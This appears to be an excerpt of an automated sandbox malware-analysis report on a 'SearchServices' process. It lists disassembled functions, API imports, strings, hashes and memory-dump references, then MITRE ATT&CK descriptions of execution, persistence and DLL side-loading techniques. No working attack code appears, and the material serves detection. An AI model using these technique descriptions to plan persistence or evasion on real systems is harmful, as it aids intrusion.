Instruction ID: 0d981a801ecb69bf2df1b55f4aacbc34d7e96e6cd12810ca382b9a03319d68e9
Opcode Fuzzy Hash: 1526c10d909daef688803ff3cf159990ff247de9edd7ef98b8084c61a2f9eac9
Instruction Fuzzy Hash: 96119055E1864382FB449B15F8402B9A370BF84B84F484433D9ED822B6EE3CD195C700

Function 00007FFE0E162AA0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON310 ref: 00007FFE0E162AC4
PyErr_Clear.PYTHON310 ref: 00007FFE0E162ADB
PyArg_ParseTuple.PYTHON310 ref: 00007FFE0E162AFF

Strings

llO:AddAccessAllowedAce, xrefs: 00007FFE0E162AF8
lO:AddAccessAllowedAce, xrefs: 00007FFE0E162ABD
AddAccesAllowedAce, xrefs: 00007FFE0E162B20

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Arg_ParseTuple$ClearErr_
String ID: AddAccesAllowedAce$lO:AddAccessAllowedAce$llO:AddAccessAllowedAce
API String ID: 2492218514-648165593
Opcode ID: b237646c5e5679b10070a6ff2546b76bddb0a76026b2ff0fb0f2b154492ac376
Instruction ID: 62a46073956e06e4024292d7cb26069fc1ce3801163ffaf3744650ea85c7e3f4
Opcode Fuzzy Hash: b237646c5e5679b10070a6ff2546b76bddb0a76026b2ff0fb0f2b154492ac376
Instruction Fuzzy Hash: 8D11E672B18B8692EB508F55F4404AAB774FB88B84F444133EACD43B29EE3CE545CB40

Function 00007FFE0E16D660 Relevance: 9.0, APIs: 6, Instructions: 35threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FFE0E16D66C
PyThreadState_Delete.PYTHON310 ref: 00007FFE0E16D683
TlsSetValue.KERNEL32 ref: 00007FFE0E16D691
LocalFree.KERNEL32 ref: 00007FFE0E16D69A
_Py_Dealloc.PYTHON310 ref: 00007FFE0E16D6BB
_Py_Dealloc.PYTHON310 ref: 00007FFE0E16D6DA

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: DeallocValue$DeleteFreeLocalState_Thread
String ID:
API String ID: 1066789969-0
Opcode ID: 8c77d3db68320afdfbdd77a2208aa64ea614f0ca53e140f1ee65fc7064496273
Instruction ID: 0acc44c29221bd21e1fe1f9c22b410c9230d1ecbf42cfa68ed5caa55a521b732
Opcode Fuzzy Hash: 8c77d3db68320afdfbdd77a2208aa64ea614f0ca53e140f1ee65fc7064496273
Instruction Fuzzy Hash: D601C834E0DB0782FB55AF66E95413833A1BF8CB51F9840B6CCDE422718F3CA8988650

Function 00007FFE0E16D270 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

PyLong_FromLongLong.PYTHON310 ref: 00007FFE0E16D286
PyLong_FromLongLong.PYTHON310 ref: 00007FFE0E16D293
PyLong_FromLongLong.PYTHON310 ref: 00007FFE0E16D29F
_Py_BuildValue_SizeT.PYTHON310 ref: 00007FFE0E16D2D0

Strings

NiNNi(ii), xrefs: 00007FFE0E16D2C4

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Long$FromLong_$BuildSizeValue_
String ID: NiNNi(ii)
API String ID: 4007579727-1588869203
Opcode ID: 85b74e98ffcd87e04a14c867141bb13d3cc0eff6fa83a6ed0fd6bb8d691eb489
Instruction ID: 3a2608a10d81a1ac3b07c86c515130045d5090ce2e64e7d0a1cf8042a45ff376
Opcode Fuzzy Hash: 85b74e98ffcd87e04a14c867141bb13d3cc0eff6fa83a6ed0fd6bb8d691eb489
Instruction Fuzzy Hash: 70017276A18B4187D664CF16F48442AB7B0F78CBA0B144136EADE43B28DF3CE5858B00

Function 00007FFE0E165290 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30threadCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON310 ref: 00007FFE0E1652AA
CloseHandle.KERNEL32 ref: 00007FFE0E1652B7
PyEval_RestoreThread.PYTHON310 ref: 00007FFE0E1652C2

Part of subcall function 00007FFE0E16C010: GetLastError.KERNEL32(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C02B
Part of subcall function 00007FFE0E16C010: FormatMessageW.KERNEL32(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C09A
Part of subcall function 00007FFE0E16C010: PyUnicode_DecodeMBCS.PYTHON310(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C16B
Part of subcall function 00007FFE0E16C010: _Py_BuildValue_SizeT.PYTHON310(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C180
Part of subcall function 00007FFE0E16C010: LocalFree.KERNEL32(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C198
Part of subcall function 00007FFE0E16C010: PyErr_SetObject.PYTHON310(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C1AD
Part of subcall function 00007FFE0E16C010: _Py_Dealloc.PYTHON310(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C1BC

Strings

CloseHandle, xrefs: 00007FFE0E1652DB

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Eval_Thread$BuildCloseDeallocDecodeErr_ErrorFormatFreeHandleLastLocalMessageObjectRestoreSaveSizeUnicode_Value_
String ID: CloseHandle
API String ID: 2420468086-2962429428
Opcode ID: 642e3289311cb8d5f3bfea0bc75af70a283f57cada30143022bf9404fd397804
Instruction ID: b205c60354b00af63585bfecc3e31cdd3b2d885bae9e062174823a75578a0aa3
Opcode Fuzzy Hash: 642e3289311cb8d5f3bfea0bc75af70a283f57cada30143022bf9404fd397804
Instruction Fuzzy Hash: D9F06226E18B4182EB519B56F4443A9A3B1EF98B80F191036DACE83771DE3CD4C28740

Function 00007FFDEEF94408 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDEF16853B
memmove.VCRUNTIME140 ref: 00007FFDEF16854F

Strings

$, xrefs: 00007FFDEF168514
..\s\crypto\rsa\rsa_none.c, xrefs: 00007FFDEF16850D

Memory Dump Source

Source File: 0000000E.00000002.1947303035.00007FFDEEF91000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFDEEF90000, based on PE: true

Associated: 0000000E.00000002.1947270514.00007FFDEEF90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEEF9D000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEEFF5000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF009000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF019000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF02D000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF1DC000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF1DE000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF209000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF23A000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF260000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF286000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948132026.00007FFDEF2AE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948160358.00007FFDEF2B4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948209204.00007FFDEF2B6000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948209204.00007FFDEF2D2000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948209204.00007FFDEF2D6000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffdeef90000_SearchServices.jbxd

Similarity

API ID: memmovememset
String ID: $$..\s\crypto\rsa\rsa_none.c
API String ID: 1288253900-779172340
Opcode ID: 3bdee04d0f4f485dc1d35bf7acc74ac95f87e22e6829478a521a18d2b6ca4809
Instruction ID: e60114e19dceca9fd017aee4820b85d2db68eddfe70e03155a8f2658d5a9111d
Opcode Fuzzy Hash: 3bdee04d0f4f485dc1d35bf7acc74ac95f87e22e6829478a521a18d2b6ca4809
Instruction Fuzzy Hash: 5F01D832B0864546D614DF26A9542A9A361FF947D0F558130FB5C47B99DF7CE601C701

Function 00007FFE0E169260 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

_Py_NewReference.PYTHON310 ref: 00007FFE0E169283
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E16928C
memset.VCRUNTIME140 ref: 00007FFE0E1692A3
memcpy.VCRUNTIME140 ref: 00007FFE0E1692BE

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Referencemallocmemcpymemset
String ID:
API String ID: 1282408338-0
Opcode ID: c65fcb0af060185c1c2a5300f03b6aba97f87df188b025864d952ed87b746262
Instruction ID: b47fca039f1abfa13a89205134f794df2154b615d9ff9bfb66fe90f3ff2cb711
Opcode Fuzzy Hash: c65fcb0af060185c1c2a5300f03b6aba97f87df188b025864d952ed87b746262
Instruction Fuzzy Hash: 61F06221B19B8282EA848F16B44006D6360FB8CFD0B488032EECD07B2EDF3CD4938700

Function 00007FFE0E1642A0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

_Py_NewReference.PYTHON310 ref: 00007FFE0E1642C8
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E1642D1
memset.VCRUNTIME140 ref: 00007FFE0E1642E3
InitializeAcl.ADVAPI32 ref: 00007FFE0E1642F1

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: InitializeReferencemallocmemset
String ID:
API String ID: 306314696-0
Opcode ID: cf8bd4c7f7b7f21ead705c858ceaa9667f582f90d830b9069d432e784410d030
Instruction ID: e33ce3cdf1a70e7271218b2dd795a6d3940461242a16b8c5cd8bc228bb133524
Opcode Fuzzy Hash: cf8bd4c7f7b7f21ead705c858ceaa9667f582f90d830b9069d432e784410d030
Instruction Fuzzy Hash: 74F04961B18F9286E740DB12B840069B374FB8CFD0B588435EECD43B29CF38D5928744

Function 00007FFE0E1692E0 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

_Py_NewReference.PYTHON310 ref: 00007FFE0E169300
GetLengthSid.ADVAPI32 ref: 00007FFE0E169309
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E169313
CopySid.ADVAPI32 ref: 00007FFE0E169325

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: CopyLengthReferencemalloc
String ID:
API String ID: 3624451276-0
Opcode ID: 160ef946dccc641ecbe619dd5cec6ff4fb35ecc778f6a68693bfde4aaa297709
Instruction ID: aa58760820ba2295f5ed6d8e4e2a8ce2626b572dc58beaff9f1f30be4609b6af
Opcode Fuzzy Hash: 160ef946dccc641ecbe619dd5cec6ff4fb35ecc778f6a68693bfde4aaa297709
Instruction Fuzzy Hash: 75F0FE65B19B8182DB548B56B94412DA3B5FB4CFD0B544036DEDE43B64DF3CD4958700

Function 00007FFE0E162EA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON310 ref: 00007FFE0E162ED4

Strings

lllO:AddAccessDeniedAceEx, xrefs: 00007FFE0E162ECA
AddAccessDeniedAceEx, xrefs: 00007FFE0E162EEB

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: AddAccessDeniedAceEx$lllO:AddAccessDeniedAceEx
API String ID: 3371842430-4150984663
Opcode ID: 0a7e4b0d5b910125cff540dc52ec4641b17dbca69169c32fd6399b30d3d0c094
Instruction ID: 1ea4eb5a77c96ab2e1418a22f7474fe3c519f08539b879d7682e283d0ee7530b
Opcode Fuzzy Hash: 0a7e4b0d5b910125cff540dc52ec4641b17dbca69169c32fd6399b30d3d0c094
Instruction Fuzzy Hash: C801C876A18B46D2EB10CB65F44049A77A0FB89B94B540236EBDC83B28DF3CD155CF00

Function 00007FFDEEF915AF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDEF0A08C4

Strings

..\s\crypto\ct\ct_policy.c, xrefs: 00007FFDEF0A0883, 00007FFDEF0A089A
!, xrefs: 00007FFDEF0A08A1

Memory Dump Source

Source File: 0000000E.00000002.1947303035.00007FFDEEF91000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFDEEF90000, based on PE: true

Associated: 0000000E.00000002.1947270514.00007FFDEEF90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEEF9D000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEEFF5000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF009000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF019000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF02D000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF1DC000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF1DE000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF209000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF23A000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF260000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF286000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948132026.00007FFDEF2AE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948160358.00007FFDEF2B4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948209204.00007FFDEF2B6000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948209204.00007FFDEF2D2000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948209204.00007FFDEF2D6000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffdeef90000_SearchServices.jbxd

Similarity

API ID: _time64
String ID: !$..\s\crypto\ct\ct_policy.c
API String ID: 1670930206-3401457818
Opcode ID: cfa7f1f881752be75db5ad93b17a98b53bb7920ceb974484fb9cb3aeac495a07
Instruction ID: 042ecdb9673f96d9c40acb0598d25b467bd0ea6b3b3e75754476a313afb0a96f
Opcode Fuzzy Hash: cfa7f1f881752be75db5ad93b17a98b53bb7920ceb974484fb9cb3aeac495a07
Instruction Fuzzy Hash: 7BF06732B16A0A86FB089B65E4213ED23A0FF80704F950135DA4D423D2EF3DF656EB42

Function 00007FFE0E161A40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON310 ref: 00007FFE0E161A68

Strings

|ii:ACL, xrefs: 00007FFE0E161A4F
@, xrefs: 00007FFE0E161A47

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: @$|ii:ACL
API String ID: 3371842430-2672190651
Opcode ID: f9c329cfab15d8387832f8d3ec09a3feacce78f30ad13e213bbe3ceb70f61db7
Instruction ID: a35b8807f06f587de56db636601ccbdd5c9b561dd3b876fff9aa20a83067a161
Opcode Fuzzy Hash: f9c329cfab15d8387832f8d3ec09a3feacce78f30ad13e213bbe3ceb70f61db7
Instruction Fuzzy Hash: FBF01C65A096C282E600DB90A8012AAA7A4FB84764FC04036EACD83B76DFBCD149CF40

Function 0000021BB0187356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000021BB018737C

Strings

riptor at (, xrefs: 0000021BB0187364
ierarchy Descriptor', xrefs: 0000021BB0187381

Memory Dump Source

Source File: 0000000E.00000002.1945827934.0000021BB0180000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021BB0180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_21bb0180000_SearchServices.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: ea4d84fe5f083a5da3e72a9c182d13b52d8b8dc710246c8418647f545dce8c72
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 6EE08671654B44D0EF068F22E8442E833B0EB68B6CB989122AD5C16351FB38D3EAC300

Function 0000021BB01873B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000021BB01873D8

Strings

Locator', xrefs: 0000021BB01873DD
riptor at (, xrefs: 0000021BB01873C0

Memory Dump Source

Source File: 0000000E.00000002.1945827934.0000021BB0180000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021BB0180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_21bb0180000_SearchServices.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: c0466e48d189a98b4b17b096be102da562dbd03abc77444554bf6b0c4a9bc3aa
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 54E08671614B44C0EF068F22D4442E87370F768B5CB889122DE4C16351EB38D2E5C300

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

